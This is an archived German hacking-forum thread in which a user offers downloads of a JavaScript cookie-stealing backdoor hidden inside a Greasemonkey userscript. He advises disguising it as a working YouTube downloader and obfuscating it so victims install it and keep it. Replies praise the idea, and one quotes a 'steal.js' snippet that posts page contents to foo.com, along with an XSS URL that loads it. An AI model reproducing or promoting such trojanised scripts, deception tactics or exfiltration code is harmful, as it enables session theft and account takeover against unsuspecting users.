PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Javascript Backdoor



Surflam
21.04.2012, 12:56
Hey,
hatte da vorhin eine Idee zu einem Backdoor in Javascript der alle Cookies klauen kann, so das man keine Xss injection benötigt sondern auf allen besuchten Websites die Cookies klauen kann:D Ist bisher nur ein ProofOfConcept also Zerfetzt mich nicht bei Bugs:neutral:

Q:Wie funktioniert es?
A:Kurz gesagt täuscht man ein nützliches Greasemonkey Script vor ,indem jedoch dann ein Backdoor-Injections Code versteckt ist der im Hintergrund den Backdoor injected:lol Vorraussetzung ist also das User das Injections-Script mit Greasemonkey installieren - deshalb muss man das Script entsprechend "Gut verpacken" damit es viele Installieren.

Q:Welche Cookies werden geloggt?
A:Alle die auf den besuchten Seiten des Victims exestieren

Q:Wo finde ich die geklauten Cookies?
A:Auf eurem Webserver in ./bd/log.html

Beispielfoto des Logfiles:
http://cycoder.square7.ch/bd/cookie_log.png


Download (Normal Version - Alle Cookies): http://cycoder.square7.ch/bd/BD(c)Cycode%20%5bJS%5d.rar (http://cycoder.square7.ch/bd/BD%28c%29Cycode%20%5bJS%5d.rar)
Download (Filter Version - Spezielle Cookies): http://cycoder.square7.ch/bd/BD_SpezialEdition%20%28c%29Cycode%20%5BJS%5D%20v0. 1.rar

UPDATE: Nun gibt es ne extra Version, in der man bewusst spezielle Homepages definieren kann von dennen dann nur die Cookies geklaut werden, alle anderen Homepages sind dann nicht im Log enthalten!

Info am Rande: Für das Inject Script ist es selbstverständlich das man wenn man diese Methode wirklich ernsthaft nutzen möchte das Script mit vielen Funktionen füllt und es entsprechend Verschleiert was wirklich geschieht, z.b ein Youtube Download Script vortäuschen (sollte natürlich funktionieren damit es viele installieren & installiert lassen) etc. - Das Backdoor Script kann man noch obfuscaden damit es findige User dann nicht so leicht haben das zu entziffern.. Nur so als Tipps am Rande bevor einer schreit "Das fällt doch jedem auf das dass ein Backdoor ist!" etc.

Würde mich über Feedback über die Idee freuen :D

pysnake
21.04.2012, 13:06
Fantastische Idee, gefällt mir sehr gut! :)
Der Nachteil ist, das man nicht gut gezielt Cookies stehlen kann, sondern auf "gut glück".
Aber ist natürlich interessant für OCH's oder so ;)
Aber müsste, wie du schon sagtest, ein gutes Script sein welches viele installieren.

Surflam
21.04.2012, 13:10
Man kann das Script auch anpassen das man nur Cookies von bestimmten Websites klaut, ist dann aber umfangreicher das Script ;) War mir zu doof jetzt "auf die schnelle" das hinzuzufügen,ist aber nicht sonderlich schwer ;) Werde es aber denke ich hinzufügen später, so eine art "Plugin" wo man Sites einträgt und die das Script dann loggt, wäre Nützlich so eine art Filter^^

Edit: Neue Version hinzugefügt, nun auch filterung von Homepages möglich.. :x

SFX
22.04.2012, 12:50
document.body.onload="sniff()";
sniff();




document.body.onload="inject()";
inject();


macht keinen Sinn

Und dein XSS Script hat eine XSS Verwundbarkeit:

steal.js


// super non stealthy hax
f=document.createElement('form');f.method='post';f .action='http://foo.com';
i=document.createElement('input');i.name='meow';i. value=document.body.innerHTML;
f.appendChild(i);document.body.appendChild(f);f.su bmit();




http://mal.com/xay.php?c=<script src="http://foo.com/steal.js"></script>


Zusätzlich läuft ein Greasemonkey (afaik) in einem anderen Kontext als normales js von websites und hat damit zugriff auf deutlich kritischere Dinge als ein paar billige Cookies.

Surflam
22.04.2012, 14:47
1) Es ist wie beschrieben ein Proof Of Concept, habe da nicht an Xss Schwachstellen gedacht/geprüft, ist schließlich nur zum proofen gewesen die Dateien.
2)document.body.onload="inject()"; + inject(); macht sehr wohl sinn, da wenn man nur inject(); macht es 1. Versucht die Funktionen aufzurufen wenn die Seite noch garnicht geladen ist und 2. es ohne das inject(); und nur mit body.onload ebenfalls nicht geht, habe das getestet gehabt - funktionierte nur so bei meinen tests.
3)Kenne mich nicht besonders mit den Möglichkeiten von Greasemonkey aus, habe mich da auch nicht näher mit beschäftigt da ich das für meine Zwecke alles bisher nicht gebraucht habe und ich gut mit meinen normalen Js-Kenntnissen bezwecken konnte was ich wollte.

Ums nochmal zu erwähnen..es ist ein Proof Of Concept, die Dateien die ich Hochgeladen habe waren nicht auf vorhandene Bugs, Sicherheitslücken etc überprüft.
Sie waren nur so erstellt das sie das gewünschte bezwecken, cookies im hintergrund klauen. Und das macht das Script. Wenn man das wirklich im großen Umfang selber machen möchte (also nicht nur zum testen) sollte man sich seine Scripts etc sowieso selbst schreiben und nicht meine nehmen, ist dann Sauberer und Anpassungsfähiger.

lg